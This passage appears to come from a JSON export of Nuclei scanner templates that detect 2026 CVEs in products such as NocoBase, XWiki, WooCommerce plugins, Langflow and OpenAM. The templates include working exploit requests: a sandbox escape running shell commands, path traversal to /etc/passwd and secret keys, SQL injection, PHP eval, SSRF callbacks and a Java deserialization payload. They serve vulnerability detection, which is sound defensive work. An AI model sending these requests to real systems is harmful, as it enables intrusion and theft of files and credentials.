matchers:\n      - type: word\n        part: body\n        words:\n          - '[{\"request\":{'\n          - 'org.apache.activemq'\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n          - \"dns\"\n        condition: or\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402204ae5749ac73a324ccd287deada874459f554d8c931c05bc46ac63bcdaf423be6022008cf164575106f38134d1f05bec0fcc235fcaa656a1614b3bb7978d077458936:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-34197.yaml","vuln_id":"cve-2026-34197"},{"raw":"id: CVE-2026-34156\n\ninfo:\n  name: NocoBase - VM Sandbox Escape to Remote Code Execution\n  author: theamanrawat\n  severity: critical\n  description: |\n    NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOW_SCRIPT_MODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain (console._stdout.constructor.constructor to Function to process to child_process) to escape the sandbox and achieve Remote Code Execution as root.\n  remediation: |\n    Upgrade to NocoBase version 2.0.28 or later. Replace Node.js vm module with isolated-vm for true V8 isolate separation. Do not pass the host console object into the sandbox. Run the application as a non-root user inside Docker. Restrict /api/flow_nodes:test to admin-only roles.\n  reference:\n    - https://github.com/advisories/GHSA-px3p-vgh9-m57c\n    - https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34156\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-34156\n    epss-score: 0.34966\n    epss-percentile: 0.98438\n    cwe-id: CWE-913\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: nocobase\n    product: nocobase\n    shodan-query: http.title:\"NocoBase\"\n    fofa-query: body=\"__nocobase_public_path__\"\n  tags: cve,cve2026,nocobase,rce,sandbox-escape,workflow,vm-escape,authenticated,vuln\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"nocobase_api_base_url\", \"nocobase_api_client_share_token\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/auth:signIn HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"account\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"token\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: token\n        part: body\n        internal: true\n        regex:\n          - '\"token\":\"([^\"]+)\"'\n        group: 1\n\n  - raw:\n      - |\n        POST /api/flow_nodes:test HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"type\":\"script\",\"config\":{\"content\":\"const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('cat /etc/passwd').toString().trim();\",\"timeout\":5000,\"arguments\":[]}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'regex(\"root:.*:0:0:\", body)'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a004830460221009f531e2a3a0b081023d478ba908e6d560402a2f19133f29afdab4627c04c9198022100af6bb4ea604a04ba6c7ef0cfc1c509959c0d30acb3c628a90f5dda228982442f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-34156.yaml","vuln_id":"cve-2026-34156"},{"raw":"id: CVE-2026-34151\n\ninfo:\n  name: XWiki Platform - Path Traversal\n  author: ritikchaddha\n  severity: high\n  description: |\n    XWiki Platform is a generic wiki platform. Prior to 17.10.5 and 18.2.0, the /skin/ action in com.xpn.xwiki.web.SkinAction can resolve double-encoded parent-directory segments outside the intended skin or web-application resource prefix when Jetty 12 or later decodes the request path. The affected lookup is replaced with Environment.getResourceAsStream(String, String), which constrains a resource to its expected prefix. An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files. Tomcat and Jetty versions before 12 do not appear affected. This issue is fixed in versions 17.10.5 and 18.2.0.\n  impact: |\n    An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files.\n  remediation: |\n    Upgrade XWiki to later than 17.10.5 and 18.2.0.\n  reference:\n    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qj4x-9g63-25g6\n    - https://jira.xwiki.org/browse/XWIKI-24075\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34151\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N\n    cvss-score: 8.2\n    cve-id: CVE-2026-34151\n    epss-score: 0.02469\n    epss-percentile: 0.84552\n    cwe-id: CWE-24\n    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: xwiki\n    product: xwiki\n    fofa-query: body=\"data-xwiki-reference\"\n    shodan-query: html:\"data-xwiki-reference\"\n  tags: cve,cve2026,xwiki,path-traversal,lfi\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    redirects: true\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body, 'xwiki')\"\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/xwiki/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd\"\n      - \"{{BaseURL}}/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd\"\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"regex('root:.*:0:0:', body)\"\n          - \"contains(content_type, 'application/octet-stream')\"\n        condition: and\n# digest: 490a0046304402206e77bff2e0a2dbdeeb05c5810cf4b3afe543fe3335931a61761a60d2feed56ce02204beade7349ad0fefd7ee91e2fd61a8fefc20022678e8ca9bfb8baea51f0c6784:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-34151.yaml","vuln_id":"cve-2026-34151"},{"raw":"id: CVE-2026-34036\n\ninfo:\n  name: Dolibarr <=22.0.4 - Local File Inclusion\n  author: y0no\n  severity: medium\n  description: |\n    Dolibarr <= 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea() in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files.\n  impact: |\n    Authenticated users can read arbitrary non-PHP files, potentially exposing sensitive configuration and data files.\n  remediation: |\n    Update to the latest version once patches are available.\n  reference:\n    - https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r\n    - https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34036\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-34036\n    epss-score: 0.01464\n    epss-percentile: 0.73725\n    cwe-id: CWE-98\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: dolibarr\n    product: dolibarr\n    shodan-query: http.title:\"Dolibarr\"\n  tags: cve,cve2026,dolibarr,lfi,auth,vuln,authenticated\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: csrf\n        part: body\n        group: 1\n        regex:\n          - 'name=\"token\" value=\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /index.php?mainmenu=home HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        token={{csrf}}&actionlogin=login&loginfunction=loginfunction&username={{username}}&password={{password}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:includes/.htaccess:0 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"FilesMatch\"\n          - \"SetHandler\"\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"actionlogin\"\n          - \"Login @\"\n        condition: or\n        negative: true\n# digest: 4a0a004730450221009f29a1468cf8e9f56ca6fe522c97299a843ff5e9d0941aae6269faee08d9a10402205a352ba68ae37e20af5418ea68e579be1b62c8bb5f3872fd1262984376a1a794:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-34036.yaml","vuln_id":"cve-2026-34036"},{"raw":"id: CVE-2026-3396\n\ninfo:\n  name: WCAPF WooCommerce Ajax Product Filter - SQL Injection\n  author: theamanrawat\n  severity: high\n  description: |\n    WCAPF WooCommerce Ajax Product Filter <= 4.2.3 contains a time-based SQL injection caused by insufficient escaping of the 'post-author' parameter, letting unauthenticated attackers extract sensitive database information remotely.\n  impact: |\n    Unauthenticated attackers can extract sensitive database information, potentially compromising data confidentiality.\n  remediation: |\n    Update to a version later than 4.2.3 or the latest available version.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-wcapf-woocommerce-ajax-product-filter-plugin-4-2-3-unauthenticated-time-based-sql-injection-vulnerability\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3396\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-3396\n    epss-score: 0.01473\n    epss-percentile: 0.73887\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: 'http.html:\"/wp-content/plugins/wc-ajax-product-filter/\"'\n    fofa-query: 'body=\"/wp-content/plugins/wc-ajax-product-filter/\"'\n  tags: sqli,wp-plugin,wc-ajax-product-filter,woocommerce,wordpress\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/wc-ajax-product-filter/readme.txt\"\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n      - type: word\n        words:\n          - \"WCAPF\"\n          - \"WooCommerce Ajax Product Filter\"\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/shop/?filter_post_author=1%27%20AND%20SLEEP(6)%20AND%20%271%27%3D%271\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=6'\n          - 'contains(body, \"No results found\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a0046304402207cc3562586da50c4f1982ffcece23a2d48e5028b86d01ed98e904fb2f65c50f70220102b31a310ff0d9257b7cc0fe53036c93f133eb6a974712e569506866ad5180b:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-3396.yaml","vuln_id":"cve-2026-3396"},{"raw":"id: CVE-2026-3395\n\ninfo:\n  name: MaxSite CMS <=109.1 - Remote Code Execution\n  author: ritikchaddha\n  severity: high\n  description: |\n    MaxSite CMS through 109.1 allows unauthenticated remote attackers to execute arbitrary code via the MarkItUp editor preview AJAX endpoint, preview-ajax.php. The endpoint insufficiently authenticates the request, failing to ensure the user is logged in, and processes the attacker's input via unsafe usage of PHP eval() on user-supplied [php]...[/php] shortcodes. By providing a POST request to the vulnerable /ajax/ endpoint with crafted input, attackers may achieve remote code execution. The issue is addressed in version 109.2 by implementing proper authentication controls.\n  reference:\n    - https://github.com/mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE\n    - https://github.com/rootdirective-sec/CVE-2026-3395-Lab\n    - https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3\n    - https://vuldb.com/?id.348281\n    - https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/large-scale-exploitation-campaign-targeting-website-content-management-systems-cms\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3395\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2026-3395\n    epss-score: 0.04021\n    epss-percentile: 0.90608\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: max-3000\n    product: maxsite_cms\n    shodan-query: \"MaxSite CMS\"\n    fofa-query: \"MaxSite CMS\"\n    publicwww-query: \"MaxSite CMS\"\n  tags: cve,cve2026,rce,maxsite,cms,eval,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"MaxSite CMS\"\n          - \"maxsite_cms\"\n          - \"max-3000.com\"\n          - \"/maxsite/\"\n        case-insensitive: true\n        internal: true\n\n  - raw:\n      - |\n        POST /ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA== HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        data=%5Bphp%5Decho+md5%28%27cve-2026-3395-nuclei%27%29%3B%5B%2Fphp%5D\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"a92788d6874137d1c4c4eaf6b6c0806a\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402203176d73a9dfdfc532d02d4ee196f47f5ac7c94dc2de7aa044ce54eddd223217102207c5487c16f9c84ff867687bb03e8d4816b9a37fac94f9868584d0d8ee8e3e781:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-3395.yaml","vuln_id":"cve-2026-3395"},{"raw":"id: CVE-2026-33868\n\ninfo:\n  name: Mastodon - Open Redirect\n  author: theamanrawat\n  severity: medium\n  description: |\n    Mastodon version < 4.5.8, < 4.4.15, < 4.3.21 is vulnerable to unauthenticated Open Redirect vulnerability (CWE-601) exists in the /web/* route due to improper handling of URL-encoded path segments.\n  impact: |\n    Redirect users to external domain.\n  remediation: |\n    Update Mastodon to versions 4.5.8, 4.4.15, 4.3.21.\n  reference:\n    - https://github.com/mastodon/mastodon/security/advisories/GHSA-xqw8-4j56-5hj6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33868\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N\n    cvss-score: 4.3\n    cve-id: CVE-2026-33868\n    epss-score: 0.00473\n    epss-percentile: 0.41069\n    cwe-id: CWE-601\n  metadata:\n    verified: true\n    vendor: mastodon\n    product: mastodon\n    shodan-query: html:\"mastodon-\"\n  tags: cve,cve2026,mastodon,open-redirect,vuln,unauth\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/web/%2Finteract.sh:443\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - '(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$'\n        part: header\n\n      - type: status\n        condition: or\n        status:\n          - 302\n          - 301\n# digest: 490a00463044022067496c239cd4c984ac4c0f88df60c86c3382d4cf7add34ed07a7b2e83ac5b9b902205314fa2ec3d9975297bd9dd8358873ffde825eb9afc3a82cf7f6a8f6beac2e75:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-33868.yaml","vuln_id":"cve-2026-33868"},{"raw":"id: CVE-2026-33626\n\ninfo:\n  name: LMDeploy - Server-Side Request Forgery\n  author: theamanrawat\n  severity: high\n  description: |\n    LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.\n  impact: |\n    An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.\n  remediation: |\n    Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.\n  reference:\n    - https://github.com/advisories/GHSA-6w67-hwm5-92mq\n    - https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33626\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-33626\n    epss-score: 0.4525\n    epss-percentile: 0.98789\n    cwe-id: CWE-918\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: internlm\n    product: lmdeploy\n  tags: cve,cve2026,lmdeploy,ssrf,oast,llm,vkev,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/v1/models\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"lmdeploy\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /v1/chat/completions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"model\":\"internlm-xcomposer2\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"Describe this image\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"http://{{interactsh-url}}\"}}]}]}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'contains(interactsh_request, \"User-Agent\")'\n        condition: and\n# digest: 490a004630440220476225a9d8e4581b6fc66c5580dc9617107675fdd53543cfaf250f63ac8359b8022075c51e0d50b8e314d483b0c9b502842ffe2b859e49b83c317dc020375278d07c:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-33626.yaml","vuln_id":"cve-2026-33626"},{"raw":"id: CVE-2026-33534\n\ninfo:\n  name: EspoCRM <= 9.3.3 - Server-Side Request Forgery\n  author: EntroVyx\n  severity: medium\n  description: |\n    EspoCRM <= 9.3.3 contains an authenticated server-side request forgery caused by improper internal-host validation using alternative IPv4 formats in HostCheck::isNotInternalHost(), letting authenticated users access internal resources via /api/v1/Attachment/fromImageUrl endpoint.\n  impact: |\n    Authenticated attackers can access internal network resources, potentially exposing sensitive data or internal services.\n  remediation: |\n    Upgrade to version 9.3.4 or later.\n  reference:\n    - https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33534\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 4.3\n    cve-id: CVE-2026-33534\n    epss-score: 0.01978\n    epss-percentile: 0.80573\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: espocrm\n    product: espocrm\n  tags: cve,cve2026,espocrm,ssrf,authenticated,intrusive\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/Attachment/fromImageUrl HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{base64(username + ':' + password)}}\n        Content-Type: application/json\n\n        {\"url\":\"http://127.0.0.1:80/client/img/logo-light.svg\",\"field\":\"avatar\",\"parentType\":\"User\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 403'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/Attachment/fromImageUrl HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{base64(username + ':' + password)}}\n        Content-Type: application/json\n\n        {\"url\":\"http://0177.0.0.1:80/client/img/logo-light.svg\",\"field\":\"avatar\",\"parentType\":\"User\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"\\\"id\\\"\", \"\\\"field\\\":\\\"avatar\\\"\", \"\\\"parentType\\\":\\\"User\\\"\", \"0177.0.0.1\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502202e5f6d6385c7af3a515ee67ef4944fa9a1c54e00bfb1cfe7f2120c2ba8425efe022100a0bc89ad01e3b803a7d01a10424ab653df7f159a1b24673c4a8e1293ee1d3a39:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-33534.yaml","vuln_id":"cve-2026-33534"},{"raw":"id: CVE-2026-33497\n\ninfo:\n  name: Langflow < 1.7.0 - Path Traversal\n  author: xtr0nix\n  severity: high\n  description: |\n    Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.\n  impact: |\n    Attackers can read sensitive secret_key files across directories, potentially compromising system security.\n  remediation: |\n    Update to version 1.7.1 or later.\n  reference:\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-ph9w-r52h-28p7\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33497\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-33497\n    epss-score: 0.19584\n    epss-percentile: 0.97392\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"Langflow\"\n  tags: cve,cve2026,langflow,traversal,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/files/profile_pictures/../secret_key\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - len(body) == 43\n          - status_code == 200\n          - contains(content_type, 'application/octet-stream')\n        condition: and\n# digest: 4b0a00483046022100e81490fd8ac6aa784ccc602fb8052159363747bfa3e759c8430e2eb6baf73a68022100d11c0c3d8a81e7671eb07f37fc99fed2249a14ab0bebcee73847b7b869d447fc:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-33497.yaml","vuln_id":"cve-2026-33497"},{"raw":"id: CVE-2026-33478\n\ninfo:\n  name: AVideo <= 26.0 - WWBN AVideo - Remote Code Execution\n  author: pussycat0x\n  severity: critical\n  description: |\n    WWBN AVideo <= 26.0 contains multiple vulnerabilities in the CloneSite plugin including unauthenticated exposure of clone secret keys and OS command injection in rsync command construction, letting unauthenticated attackers achieve remote code execution.\n  impact: |\n    Unauthenticated attackers can execute arbitrary system commands, leading to full server compromise.\n  remediation: |\n    Update to the version including commit c85d076375fab095a14170df7ddb27058134d38c or later.\n  reference:\n    - https://github.com/WWBN/AVideo/security/advisories/GHSA-687q-32c6-8x68\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: http.html:\"AVideo\"\n    fofa-query: app=\"AVideo-YouPHPTube\"\n  tags: cve,cve2026,avideo,clonesite,unauth,oss,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /plugin/CloneSite/clones.json.php HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{\"data\": ['\n          - '\"key\":\"'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: word\n        part: body\n        words:\n          - '\"error\"'\n          - \"Admin required\"\n        negative: true\n        condition: or\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: key\n        group: 1\n        part: body\n        regex:\n          - '\"key\":\"([0-9a-z]+)\"'\n# digest: 4a0a0047304502205a81085a2319ec651de3bebae07fc8ec5d0632d7d32ad22dad3ef064d0ae1b71022100e0e1bee92f2bfc805b4ba7a2df4907333b87d8a1b8e9ad5f0af093a511875455:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-33478.yaml","vuln_id":"cve-2026-33478"},{"raw":"id: CVE-2026-33476\n\ninfo:\n  name: SiYuan <= v3.6.1 - Path Traversal\n  author: WRG-11\n  severity: high\n  description: |\n    SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.\n  impact: |\n    Unauthenticated attackers can read arbitrary files accessible to the server, potentially exposing sensitive information.\n  remediation: |\n    Update to version 3.6.2 or later.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7\n    - https://github.com/siyuan-note/siyuan/commit/009bb598b3beccc972aa5f1ed88b3b224326bf2a\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33476\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-33476\n    epss-score: 0.03256\n    epss-percentile: 0.88391\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: http.favicon.hash:-1450125239\n  tags: cve,cve2026,siyuan,lfi,traversal,exposure\n\nhttp:\n  - raw:\n      - |\n        GET /appearance/langs/../../conf.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"kernelVersion\"'\n          - '\"logLevel\"'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100dec8b2d9d501029722be595a7cf48e02ffe821323546816a547761f35a48751f0221008801e46feb2a07bd6ae407942f2fc930b4cddd45297a760495afffab8c3fb562:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-33476.yaml","vuln_id":"cve-2026-33476"},{"raw":"id: CVE-2026-33439\n\ninfo:\n  name: OpenAM <= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Open Access Management (OpenAM) is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution (RCE) via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream mitigation that was applied to the jato.pageSession parameter after CVE-2021-35464.  This vulnerability is fixed in 16.0.6.\n  impact: |\n    An unauthenticated attacker can achieve arbitrary command execution on the server by sending a crafted serialized Java object as the jato.clientSession GET/POST parameter to any JATO ViewBean endpoint whose JSP contains <jato:form> tags (e.g., the Password Reset pages).\n  remediation: Upgrade to OpenAM 16.0.6 or later.\n  reference:\n    - https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce\n    - https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-33439\n    epss-score: 0.09333\n    epss-percentile: 0.95398\n    cwe-id: CWE-502\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: openidentityplatform\n    product: openam\n    shodan-query: http.title:\"OpenAM\"\n    fofa-query: title=\"OpenAM\"\n  tags: cve,cve2026,openam,deserialization,rce,jato,oast,oob\n\nflow: http(1) && javascript(1)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/openam/ui/PWResetUserValidation\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"OpenAM\",\"tfUserAttr\")'\n        condition: and\n        internal: true\n\njavascript:\n  - code: |\n      var net = require('nuclei/net');\n      var P = \"aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200306f72672e6170616368652e636c69636b2e636f6e74726f6c2e436f6c756d6e24436f6c756d6e436f6d70617261746f72000000000000000102000249000d617363656e64696e67536f72744c0006636f6c756d6e7400214c6f72672f6170616368652f636c69636b2f636f6e74726f6c2f436f6c756d6e3b7870000000007372001f6f72672e6170616368652e636c69636b2e636f6e74726f6c2e436f6c756d6e00000000000000010200135a00086175746f6c696e6b5a000a65736361706548746d6c4900096d61784c656e6774684c000a6174747269627574657374000f4c6a6176612f7574696c2f4d61703b4c000a636f6d70617261746f7271007e00014c000964617461436c6173737400124c6a6176612f6c616e672f537472696e673b4c000a646174615374796c657371007e00074c00096465636f7261746f727400244c6f72672f6170616368652f636c69636b2f636f6e74726f6c2f4465636f7261746f723b4c0006666f726d617471007e00084c000b686561646572436c61737371007e00084c000c686561646